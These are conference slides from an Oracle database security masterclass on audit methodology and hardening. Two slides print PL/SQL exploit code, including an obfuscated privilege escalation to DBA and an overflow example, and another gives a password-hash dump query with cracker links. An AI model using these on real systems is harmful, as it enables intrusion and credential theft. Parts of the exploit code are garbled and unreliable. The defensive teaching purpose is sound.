UKOUG Conference, December 6th 2007

Oracle Security Masterclass

By

Pete Finnigan

Written Friday, 19th October 2007
Introduction - Commercial Slide.

- PeteFinnigan.com Limited
- Founded February 2003
- CEO Pete Finnigan
- Clients UK, States, Europe
- Specialists in researching and securing Oracle databases
- [http://www.petefinnigan.com](http://www.petefinnigan.com)
- Consultancy and training available
- Author of Oracle security step-by-step
- Published many papers, regular speaker (UK, USA)
Agenda

• Part 1 - Overview of oracle security
  – How and why do hackers steal data
  – What are the issues
  – How are databases compromised
• Part 2 - Main body of the master class
  – Conducting a security audit of a database
  – What to look for
  – Examples
  – How to look
  – What tools
• Part 3 - Conclusions
  – What to do when you have a list of problems to fix
  – Deciding what to fix, how to fix, can you fix
  – Basic hardening – i.e. these are the things you should really fix
Simple Agenda

• What do I want to achieve today
• Its high level, an audit can take days so we cannot cover it all in 2 hours
• Anyone can perform an audit but be realistic at what level
• I want to teach basic ideas
• Ask questions any time you need to
• Try out some of the tools and techniques yourself
What’s Involved In Securing Data?

• Perform an Oracle Security health audit
• Design a secure installation
• Perform database hardening
  – New database or existing
• Choose and use Security features where relevant e.g.
  – encryption in the database for credit cards
  – TDE for secure data on disk
  – VPD to enable secure access to critical data
## Why Do Hackers Steal Data?

- Data is often the target now not system access; this can be for
- Identity theft to clone identities
- Theft of data to access money / banks
- [http://www.petefinnigan.com/weblog/archives/00001129.htm](http://www.petefinnigan.com/weblog/archives/00001129.htm) - 25 million child benefit identities lost on two discs (not stolen but lost)
Why Can They Steal Data?

- What are the main categories
  - Security bugs where – (this is simple, patch!!)
    - there are exploits and
    - Where there are no current exploits
  - Configuration issues – (complex, depends on apps)
  - Feature overload – attack surface increase
    - Software installed
    - Schemas installed
  - Defaults – (reduce)
    - Passwords
    - privileges
Types of Attack

- Many and varied – the world is your lobster
- Passwords are the simplest – find, guess, crack
- Bugs that can be exploited
- SQL injection
- Denial of Service
- Exploit poor configuration – access OS files, services
- Network protocol attacks
- Buffer overflows, SQL buffer overflows
- Cursor injection
- ?
Example Exploit (1)

```
grant create session to x identified by x;
Grant succeeded.
connect x/x
Connected.
edit
Wrote file afiedt.buf

1 declare
2 larry varchar2(32767);
3 mary varchar2(32767);
4 begin
5 larry:=larry||larry;
6 larry:=larry||larry;
7 larry:=larry||larry;
8 larry:=larry||larry;
9 larry:=larry||larry;
10 larry:=larry||larry;
11 larry:=larry||larry;
12 larry:=larry||larry;
13 maryl:=mary||mary;
14 maryl:=mary||mary;
15 maryl:=mary||mary;
16 maryl:=mary||mary;
17 maryl:=mary||mary;
18 maryl:=mary||mary;
19 maryl:=mary||mary;
20 maryl:=mary||mary;
21 maryl:=mary||mary;
22 xoff:=mary||'.)/'||XDB_PITTRIE_PKG/.Larry='/'||XDB_PITTRIE_PKG/.Larry||'.'||XDB_PITTRIE_PKG/.Mary||'.'||XDB_PITTRIE_PKG/.Mary||'.'||XDB_PITTRIE_PKG/.Mary;
23 end;
connect system/manager
ERROR at line 3:
ORA-27112: end-of-file on communication channel

connect sys/change_on_install as sysdba
ERROR:
ORA-12568: TCPS:protocol adapter error
```
Example Exploit 1
Second Example Exploit

SQL> show user
USER is "SCOTT"
SQL> @10g_exploit

USERNAME | GRANTED_ROLE | ADM | DEF | OS_
-----------------------------|----------|-----|-----|-----
SCOTT     | APP_ROLE    | NO  | YES | NO  
SCOTT     | CONNECT     | NO  | YES | NO  
SCOTT     | RESOURCE    | NO  | YES | NO  

PL/SQL procedure successfully completed.

USERNAME | GRANTED_ROLE | ADM | DEF | OS_
-----------------------------|----------|-----|-----|-----
SCOTT     | APP_ROLE    | NO  | YES | NO  
SCOTT     | CONNECT     | NO  | YES | NO  
SCOTT     | DBA         | NO  | YES | NO  
SCOTT     | RESOURCE    | NO  | YES | NO  

SQL> |
Second Example Exploit (2)

```sql
select * from user_role_privs;

DECLARE
  c2gys2Vy NUMBER;
BEGIN
  c2gys2Vy := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQL.PARSE(c2gys2Vy, utl_encode.text_decode(
    '2CV7bGPYzSBwcmFhWeGyXXV0b29vbW91c2hjcmFuc2FjdGlvbjsegYmVnaW4gZXhlY3V0aSBpbmW1ZG1hdmUgJ0dSQU5UIERPQS BYTQ09UV
Cc7ZzbtW1002VzDe=', 'WEBISO8859F1', UTL_ENCODE.BASE64, 0));
  SYS_LT.FINDRSET('TGv2ZWhgM5Bjbi1sZXRI1Dop.U2V1LmUhGF0ZXIp'||dbms_sql.execute('||c2gys2Vy||')
  ||'1', 'DEADBEAF');
END;
/

select * from user_role_privs;
```
Internal Or External Attacks

- Internal attacks are shown to exceed external attacks in many recent surveys.
- The reality is likely to be worse as surveys do not capture all details or all companies.
- With Oracle databases external attacks are harder and are likely to involve:
  - application injection or
  - Buffer Overflow or
  - Protocol attacks
- Internal attacks could use any method for exploitation. The issues are why:
  - True hackers gain access logically or physically
  - Power users have too many privileges
  - Development staff
  - DBA’s
Major Issue Is Excessive Privileges / Features

• Just some examples not everything!
• Public gets bigger – (figures can vary based on install)
  – 9iR2 – 12,132
  – 10gR2 – 21,530 – 77.4% more than 9iR2
  – 11gR1 – 27,461 – 27.5% more than 10gR2
• Many schemas are installed by default
  – 9iR2 @ 30 by default
  – 10gR2 @ 27 by default
  – 11g @ 35 by default
Main Issues To Look For

• Core security issues with the database:
  • Leaked password hashes
  • Weak passwords and default users
  • Too many features enabled by default
  • Excessive user / schema privileges often
  • No audit enabled to detect issues
  • TNS is an easy target
Think Like A Hacker

• When deciding what to audit and how to audit a database you must know what to look for:
  – Existing configuration issues and vulnerabilities are a target
  – Remember hackers don’t follow rules
  – Combination attacks (multi-stage / blended) are common
• The solution: Try and think like a hacker – be suspicious
Tools And Info?

• Vulnerabilities and exploits:
  – SecurityFocus – www.securityfocus.com
  – Milw0rm – www.milw0rm.com
  – PacketStorm – www.packetstorm.org
  – FrSirt – www.frsirt.com
  – CERT – www.kb.cert.org/vulns

• Tools – we will cover tools later but some include:
  – Scuba
  – CIS Benchmark
  – RoraScanner
Part 2 – Performing A Database Audit (1)

- Planning and setting up for An Audit
- Starting the audit
- Versions, patches and software
- Enumerate users and find passwords
- File system analysis
Part 2 – Performing A Database Audit (2)

Cont’d…

- Network analysis
- Database configuration
- RBAC and access
- Specialist treatment
- Audit trail analysis
Planning An Audit

- The environments to test
- The tools to use
- Decide what to test and how “deep”
- The results to expect
- Line up the right people to involve and interview
- Looking forward
- What are you going to do with the results?
The Test Environment

• This is a key decision
• Which environment should be tested?
• Test the live production system if you feel confident
• Some elements can be tested in other systems
  – i.e. a complete clone can be used to assess configuration
  – The file system and networking and key elements such as passwords / users must be tested in production
• Choose carefully
Building A Toolkit

- There are a few standalone tools available
- I would start with manual queries and simple scripts such as:
  - `www.petefinnigan.com/find_all_privs.sql`
  - `www.petefinnigan.com/who_has_priv.sql`
  - `www.petefinnigan.com/who_can_access.sql`
  - `www.petefinnigan.com/who_has_role.sql`
  - `www.petefinnigan.com/check_parameter.sql`
- Hand code simple queries as well
Checklists

- There are a number of good checklists:
Keep It Neutral

- All actions must be read only
- Don’t stop / start the database
- Don’t affect the business
- Read only must also not be heavy queries
- Hands-on and not automated is better
- Remember some things cannot be automated well
- Automated tools have issues
Decide The Scope Of The Test

- What is to be tested?
- The checklists provide extensive lists of checks
- My advice: keep it simple to start with
  - Concentrate on the “LOW FRUIT”
  - Key issues
    - Passwords
    - Simple configuration issues
    - RBAC issues
Sorting Access

- Ensure you use a clean PC / Laptop
- Direct SQL*Net access is required
- Direct ssh access to the server is required
- Install a local firewall on the PC
- Virus scan
- Store the data retrieved in an encrypted drive
- Open access only for the audit
Lining Up The Right People

• Before you start the audit you need the right people available to take part
• You also need the right people to give access permissions and assign rights:
  – DBA for account creation
  – DBA for interview
  – Systems admin to allow server access
  – Security manager for policies
  – Applications / DBA team for application knowledge
Results?

• Before you start you should assess what you expect as results
• This drives two things:
  – The scale of the test
  – What you can do with the results
• It should help derive
  – What to test for
  – What to expect
• If you decide in advance its easier to cope with the output (example: if you do a test in isolation and find 200 issues, its highly unlikely anyone will deal with them)
Starting The Audit

• Get the laptop
• install tools
• Lock down the laptop
• Connect to the database
  – Test the connection
  – Test some simple queries to establish the correct levels of access
  – I ask for CREATE SESSION, SELECT ANY TABLE, SELECT ANY DICTIONARY only
• Test ssh access to the server
  – Check the require file systems can be accessed
• This is an important step, not being prepared can waste half a day – tell people in advance
Interview Key Staff

• Perform interviews with key staff
  – DBA
  – Security
  – Applications

• Understand
  – Policies
  – Backups
  – How different groups of staff use and access the database

• The checklists include interview questions
• Prepare an interview list to work to (see the CIS benchmark for examples)
Software Installed

Look at the installed software and features / functions in the database
Database Version

```
SQL> desc v$version
     Name     Null? Type
---------- -------- ---------
      BANNER             VARCHAR2(80)

SQL> select * from v$version;

BANNER

Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
PL/SQL Release 11.1.0.6.0 - Production
CORE 11.1.0.6.0 Production
TNS for Linux: Version 11.1.0.6.0 - Production
NLSRTL Version 11.1.0.6.0 - Production
```

```
Patch Status

- DBA_REGISTRY_HISTOR_ORY
- Opatch –lsinventory
- Checksum packages, functions, procedures, libraries, views
  - Rorascanner has example code
  - Some Commercial tools do this
  - Problems – if PL/SQL is not updated in CPU
  - Time based approaches with last_ddl_time
- Ask the DBA we are not trying to break in
User Enumeration

From http://www.databasesecurity.com/dbsec/OAK.zip
User Enumeration (2)

This helps size the scope
Default schemas
Analyse names used
Open accounts

```sql
SQL> select username,account_status
2   from dba_users;

USERNAME | ACCOUNT_STATUS
----------|-----------------|
SYS       | OPEN
SYSTEM    | OPEN
DBSNMP    | OPEN
SCOTT     | OPEN
OUTLN     | EXPIRED & LOCKED
WMSYS     | EXPIRED & LOCKED
ORDSYS    | EXPIRED & LOCKED
ORDPLUGINS| EXPIRED & LOCKED
MDSYS     | EXPIRED & LOCKED
CICSYS    | EXPIRED & LOCKED
XBD       | EXPIRED & LOCKED

USERNAME | ACCOUNT_STATUS
----------|-----------------|
ANONYMOUS | EXPIRED & LOCKED
WKSYS     | EXPIRED & LOCKED
WPKPROXY  | EXPIRED & LOCKED
OEM       | EXPIRED & LOCKED
ODM_MFR   | EXPIRED & LOCKED
QLAPSYS   | EXPIRED & LOCKED
AMAN      | EXPIRED & LOCKED
HR        | EXPIRED & LOCKED
OE        | EXPIRED & LOCKED
PM        | EXPIRED & LOCKED
SH        | EXPIRED & LOCKED

USERNAME | ACCOUNT_STATUS
----------|-----------------|
QS_ADM    | EXPIRED & LOCKED
QS        | EXPIRED & LOCKED
QS_WS     | EXPIRED & LOCKED
QS_ES     | EXPIRED & LOCKED
QS_COS   | EXPIRED & LOCKED
QS_CGRADM| EXPIRED & LOCKED
QS_GB     | EXPIRED & LOCKED
QS_CS     | EXPIRED & LOCKED

30 rows selected.
```
Auditing Passwords

• Three types of checks (ok 4)
  – Password=username
  – Password=default password
  – Password=dictionary word
  – Password is too short

• Default check tools or password cracker?
• Password cracker
  – http://soonerorlater.hu/index.khtml?article_id=513
  – http://www.toolcrypt.org/tools/orabf/orabf-v0.7.6.zip
Run in SQL*Plus

```
Select u.name||':'||u.password
   ||':'||substr(u.spare4,3,63)
   ||':'||d.name||':'
   ||sys_context('USERENV','SERVER_HOST')||':'
from sys.user$ u, sys.V_$DATABASE d where u.type#=1;
```

Create a text file with the results – mine is called 11g_test.txt

```
SCOTT:9B5981663723A979:71C46D7FD2AB8A607A93489E899C08FFDA75B147030761978E640EF57C35:ORA11G:vostok:
```

Then run the cracker

[Password Cracker (1)](http://soonerorlater.hu/download/woraauthbf_src_0.2.zip)
[Password Cracker (1)](http://soonerorlater.hu/download/woraauthbf_0.2.zip)
Password Cracker (2)

As you can see the password is found – running at over 1 million hashes per second

Use a default password list or dictionary file

Worauthbf can also be used to crack from authentication sessions

Worauthbf can be used in dictionary or brute force mode
File System Audit

- Finding passwords
- Permissions on the file system
- Suid issues
- Umask settings
- Lock down Key binaries and files
- Look for data held outside the database
- OSDBA membership
- These are a starter for 10: Much more can be done (e.g. I check for @80 separate issues at the OS level); see the checklists for ideas
Finding Passwords

This is one of the key searches
Also search the process lists
Also search history
File Permissions

Test for 777 perms
Files should be 750 or less
Binaries 755 or less
SUID and SGID

Beware of non-standard SUID binaries
Beware of “0” binaries
Change the permissions on those binaries not used
This system has issues

Oracle (not good name choice) is in oinstall group
Osdba group only has Oracle as member
Osoper is not assigned to anyone
Ensure segregation of duties
Network Audit

- Listener
  - port
  - listener name
  - service name
- Listener password or local authentication
- Admin restrictions
- Extproc and services
- Logging on
- Valid node checking
SIDGuesser

From http://www.cqure.net/tools/SIDGuesser_win32_1_0_5.zip
## Port, Name and Services

**STATUS of the LISTENER**

---

<table>
<thead>
<tr>
<th>Alias</th>
<th>LISTENER</th>
</tr>
</thead>
<tbody>
<tr>
<td>Version</td>
<td>TNSLSNR for Linux: Version 11.1.0.6.0 – Production</td>
</tr>
<tr>
<td>Start Date</td>
<td>31-OCT-2007 09:06:14</td>
</tr>
<tr>
<td>Uptime</td>
<td>0 days 4 hr. 56 min. 27 sec</td>
</tr>
<tr>
<td>Trace Level</td>
<td>off</td>
</tr>
<tr>
<td>Security</td>
<td>ON: Local OS Authentication</td>
</tr>
<tr>
<td>SNMP</td>
<td>OFF</td>
</tr>
<tr>
<td>Parameter File</td>
<td>/oracle/11g/network/admin/listener.ora</td>
</tr>
<tr>
<td>Log File</td>
<td>/oracle/diag/tsnlsnr/vostok/listener/alert/log.xml</td>
</tr>
</tbody>
</table>

### Listening Endpoints Summary...

- (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1521)))
- (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=vostok)(PORT=1521)))

### Services Summary...

- **Service "ORA11G"** has 1 instance(s).
  - Instance "ORA11G", status READY, has 1 handler(s) for this service...
- **Service "ORA11GXDB"** has 1 instance(s).
  - Instance "ORA11GXDB", status READY, has 1 handler(s) for this service...
- **Service "ORA11G_XPT"** has 1 instance(s).
  - Instance "ORA11G_XPT", status READY, has 1 handler(s) for this service...
Listener Password

10g password must not be set
Listener password

Password is encrypted pre 10g
Hash can be used to log in
Check for clear text passwords or no password
Check admin_restrictions is set
Services

```cmd
LSNRCTL> services
Connecting to <DESCRIPTION=<(ADDRESS=(PROTOCOL=IPC)<(KEY=EXTPROC1)>>>
Services Summary...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
    Handler(s):
      "DEDICATED" established:0 refused:0
      LOCAL SERVER
Service "ora10gr2" has 1 instance(s).
  Instance "ora10gr2", status READY, has 1 handler(s) for this service...
    Handler(s):
      "DEDICATED" established:0 refused:0 state:ready
      LOCAL SERVER
Service "ora10gr2_KPT" has 1 instance(s).
  Instance "ora10gr2", status READY, has 1 handler(s) for this service...
    Handler(s):
      "DEDICATED" established:0 refused:0 state:ready
      LOCAL SERVER
The command completed successfully
LSNRCTL>
```
Valid Node Checking

```
# SQLNET.ORA Network Configuration File: C:\oracle\ora92\network\admin\sqlnet.ora
# Generated by Oracle configuration tools.

SQLNET.AUTHENTICATION_SERVICES= (NTS)

NAMES.DIRECTORY_PATH= (TNSNAMES, QNAMES, HOSTNAME)
```
Database Configuration Audit

- Use simple scripts or hand coded commands
- This section can only highlight; use the checklists for a complete list of things to audit
- Check profiles and profile assignment
- Check initialisation Parameters
- Much more – see checklists
**Default profile**

SQL> select profile, resource_name, limit
    2   from dba_profiles
    3   order by profile, resource_name;

<table>
<thead>
<tr>
<th>PROFILE</th>
<th>RESOURCE_NAME</th>
<th>LIMIT</th>
</tr>
</thead>
<tbody>
<tr>
<td>DEFAULT</td>
<td>COMPOSITE_LIMIT</td>
<td>UNLIMITED</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>CONNECT_TIME</td>
<td>UNLIMITED</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>CPU_PER_CALL</td>
<td>UNLIMITED</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>CPU_PER_SESSION</td>
<td>UNLIMITED</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>FAILED_LOGIN_ATTEMPTS</td>
<td>10</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>IDLE_TIME</td>
<td>UNLIMITED</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>LOGICAL_READS_PER_CALL</td>
<td>UNLIMITED</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>LOGICAL_READS_PER_SESSION</td>
<td>UNLIMITED</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>PASSWORD_GRACE_TIME</td>
<td>7</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>PASSWORD_LIFE_TIME</td>
<td>180</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>PASSWORD_LOCK_TIME</td>
<td>1</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>PASSWORD_REUSE_MAX</td>
<td>UNLIMITED</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>PASSWORD_REUSE_TIME</td>
<td>UNLIMITED</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>PASSWORD_VERIFY_FUNCTION</td>
<td>NULL</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>PRIVATE_SGA</td>
<td>UNLIMITED</td>
</tr>
<tr>
<td>DEFAULT</td>
<td>SESSIONS_PER_USER</td>
<td>UNLIMITED</td>
</tr>
</tbody>
</table>

- All other users have DEFAULT profile by default
- no password reuse set?
- Life time is too long
- no pwd verify function
- It's a good start but not enough
Users -> Profiles

<table>
<thead>
<tr>
<th>USERNAME</th>
<th>ACCOUNT_STATUS</th>
<th>PROFILE</th>
</tr>
</thead>
<tbody>
<tr>
<td>MGMT_VIEW</td>
<td>OPEN</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>SYS</td>
<td>OPEN</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>SYSTEM</td>
<td>OPEN</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>DBSNMP</td>
<td>OPEN</td>
<td>MONITORING_PROFILE</td>
</tr>
<tr>
<td>SYSDBA</td>
<td>OPEN</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>SCOTT</td>
<td>OPEN</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>X</td>
<td>OPEN</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>TESTUSER</td>
<td>OPEN</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>OUTLN</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>MDSYS</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>ORDSYS</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>EXFSYS</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>DMSYS</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>WMSYS</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>CTXSYS</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>ANONYMOUS</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>XDB</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>ORPPLUGINS</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>SI_INFORMTN_SCHEMA</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>OLAPSYS</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>TSMSYS</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>BI</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>PM</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>MDDATA</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
<tr>
<td>IX</td>
<td>EXPIRED &amp; LOCKED</td>
<td>DEFAULT</td>
</tr>
</tbody>
</table>

No profiles designed
All accounts have same profile except one
Use the checklists to identify what to check
This parameter setting is not ideal for instance
RBAC And Access

- Test RBAC assigned to all users
  - Discussed in next slide
- Again this section is a sample – use the checklists
- Assess Default privileges
- Assess access to key roles
- Assess access to key packages
- Assess access to key data
- Access to Key privileges
RBAC

• Review the complete RBAC model implemented
• Understand default schemas installed and why
• Understand the application schemas
  – Privileges, objects, resources
• Understand which accounts are Admin / user / Application Admin etc
  – Consider privileges, objects, resources
• lock accounts if possible – check for open accounts
  – reduce attack surface
Defaults

- Defaults are one of the biggest issues in Oracle
- Oracle has the most default accounts for any software
- Tens of thousands of public privileges granted
- Many default roles and privileges
  - Many application developers use default Roles unfortunately
- Reduce the Public privileges as much as possible
- Do not use default accounts
- Do not use default roles including DBA
- Do not use default passwords
Test Users Privileges (SCOTT)

```
<table>
<thead>
<tr>
<th>ROLE</th>
<th>APP_ROLE which contains</th>
<th>MAN_ROLE which contains</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ROLE</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>EXECUTE ANY PROCEDURE</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>ALTER USER</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>SELECT ANY TABLE</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>TABLE PRIV</td>
<td>SELECT object</td>
<td>=&gt; SYS.DBA_USERS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>ROLE</td>
<td>CONNECT which contains</td>
<td></td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>CREATE SESSION</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>ROLE</td>
<td>RESOURCE which contains</td>
<td></td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>CREATE CLUSTER</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>CREATE INDEX_TYPE</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>CREATE OPERATOR</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>CREATE PROCEDURE</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>CREATE SEQUENCE</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>CREATE TABLE</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>CREATE Trigger</td>
<td>grantable =&gt; NO</td>
</tr>
<tr>
<td>SYS PRIV</td>
<td>CREATE TYPE</td>
<td>grantable =&gt; NO</td>
</tr>
</tbody>
</table>
```

PL/SQL procedure successfully completed.

For updates please visit http://www.peteFinnigan.com/tools.htm

SQL>
Who Has Key Roles

```
who has priv: Release 1.0.3.0.0 - Production on Thu Nov 22 16:00:18 2007
Copyright (c) 2004 PeteFinnigan.com Limited. All rights reserved.

ROLE TO CHECK [DBA]: DBA
OUTPUT METHOD Screen/File [S]: S
FILE NAME FOR OUTPUT [priv.lst]: 
OUTPUT DIRECTORY [DIRECTORY or File (/tmp)]: 
EXCLUDE CERTAIN USERS [N]: 
USER TO SKIP [TEST%]: 

Investigating Role => DBA (PWD = NO) which is granted to =>

User => SYSC (ADM = YES)
User => SYSDBA (ADM = NO)
User => SYSBA (ADM = NO)
User => SYSTEM (ADM = YES)
User => TESTUSER (ADM = NO)

PL/SQL procedure successfully completed.

For updates please visit http://www.peteFinnigan.com/tools.htm

SQL> |
```
Access To Key Data (DBA_USERS)

Object type is -> VIEW (TAB)
Privilege -> SELECT is granted to ->
Role -> APP_ROLE (ADM = NO) which is granted to ->
  User -> SCOTT (ADM = NO)
  User -> SYSTEM (ADM = YES)
User -> DIADEMS (ADM = NO)
Role -> SELECT_DATABASE_ROLE (ADM = NO) which is granted to ->
  Role -> OLAP_USER (ADM = NO) which is granted to ->
    User -> SYS (ADM = YES)
  Role -> DBA (ADM = YES) which is granted to ->
    User -> SYS (ADM = YES)
    User -> SYSTEM (ADM = YES)
    User -> TESTUSER (ADM = NO)
Role -> IMP_FULL_DATABASE (ADM = NO) which is granted to ->
  User -> SYS (ADM = YES)
Role -> DBA (ADM = NO) which is granted to ->
  User -> SYS (ADM = YES)
    User -> SYSTEM (ADM = YES)
    User -> TESTUSER (ADM = NO)
Role -> OLAP_USER (ADM = NO) which is granted to ->
  Role -> DBA (ADM = NO) which is granted to ->
    User -> SYS (ADM = YES)
    User -> SYSTEM (ADM = YES)
    User -> TESTUSER (ADM = NO)
User -> MLAPSYS (ADM = NO)
User -> SYS (ADM = YES)
User -> SM (ADM = NO)
Role -> EXP_FULL_DATABASE (ADM = NO) which is granted to ->
  Role -> DBA (ADM = NO) which is granted to ->
    User -> SYS (ADM = YES)
    User -> SYSTEM (ADM = YES)
    User -> TESTUSER (ADM = NO)
User -> SYS (ADM = YES)
User -> IX (ADM = NO)
Key System Privileges

Note the problem of multiple-inheritance of privileges
Specialist Considerations

- Look for key data – Data that has value for the organisation or should be protected due to regulatory requirements
  - Identify the data
  - Identify the storage
  - Identify access paths – DBA_DEPENDANCIES
    - Views, procedures
  - Test RBAC on these objects
  - Test is encryption is present if necessary
Automate Scanning Tools

• Commercial

• Free
  – Scuba from Imperva - http://www.imperva.com/scuba/
  – RoraScanner - http://rorascanner.rubyforge.org/
  – OScanner - http://www.cqure.net/wp/?page_id=3
  – Inguma - http://sourceforge.net/projects/inguma
Sample Audit Checks Using SCUBA

http://www.imperva.com/application_defense_center/scuba/
Sample Audit Checks Using SCUBA

SCUBA - Lightweight DB Assessment

Output file: C:\scuba\results.xml

View Report

Use External Browser

Choose Report: C:\scuba\templates\Scuba_Summary_Report.xsl

Generate Report

GO  Close
Sample Audit Checks Using SCUBA

![SCUBA by Imperva Database Assessment Report](image)

<table>
<thead>
<tr>
<th>Text</th>
<th>Severity</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Package Privilege: Execute UTIL_RUE granted to PUBLIC role</td>
<td>High</td>
<td>Failed</td>
</tr>
<tr>
<td>Unrestricted access to listener</td>
<td>High</td>
<td>Failed</td>
</tr>
<tr>
<td>Profile resource value doesn't meet security policy: FAILED_LOGIN_ATTEMPTS</td>
<td>High</td>
<td>Failed</td>
</tr>
<tr>
<td>Remote login password file not disabled</td>
<td>High</td>
<td>Failed</td>
</tr>
<tr>
<td>Package Privilege: Execute SYS.DBSMS_EXPORT_EXTENSION granted to PUBLIC role</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>Latest Oracle database patch set not applied</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>BFILENAME buffer overflow</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>Critical Patch Update – January 2005</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>Database link buffer overflow</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>EXITPROC buffer overflow</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>FROM_TZ buffer overflow</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>NSPITCH buffer overflow</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>NUMTOSINTERVAL buffer overlap</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>NUMTOYMINTERVAL buffer overlap</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>Alert #06</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>SERVICE_NAME buffer overflow</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>SSL vulnerabilities</td>
<td>High</td>
<td>Passed</td>
</tr>
<tr>
<td>TIME_ZONE buffer overflow</td>
<td>High</td>
<td>Passed</td>
</tr>
</tbody>
</table>
Review The Audit Trails

• Test what core audit is enabled
• Test if sys is being audited
• Test is FGA is in use
• Examine the core audit trail
• Check failed logins / errors – review the audit data held
• Check the listener log for 1169 and 1189 errors
• Test RBAC on audit objects and also test audit system privileges
### Test Core Audit Settings

The SQL query shown below demonstrates the statement and privilege audit settings in a database. It uses the `db_priv_audit_opts` and `dba_stmt_audit_opts` tables to display the audit settings for various privileges.

```sql
SQL> select privilege typ, success, failure from dba_priv_audit_opts 
union 
select audit_option typ, success,failure from dba_stmt_audit_opts;
```

<table>
<thead>
<tr>
<th>TYP</th>
<th>SUCCESS</th>
<th>FAILURE</th>
</tr>
</thead>
<tbody>
<tr>
<td>ALTER ANY PROCEDURE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>ALTER ANY TABLE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>ALTER DATABASE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>ALTER PROFILE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>ALTER SYSTEM</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>ALTER USER</td>
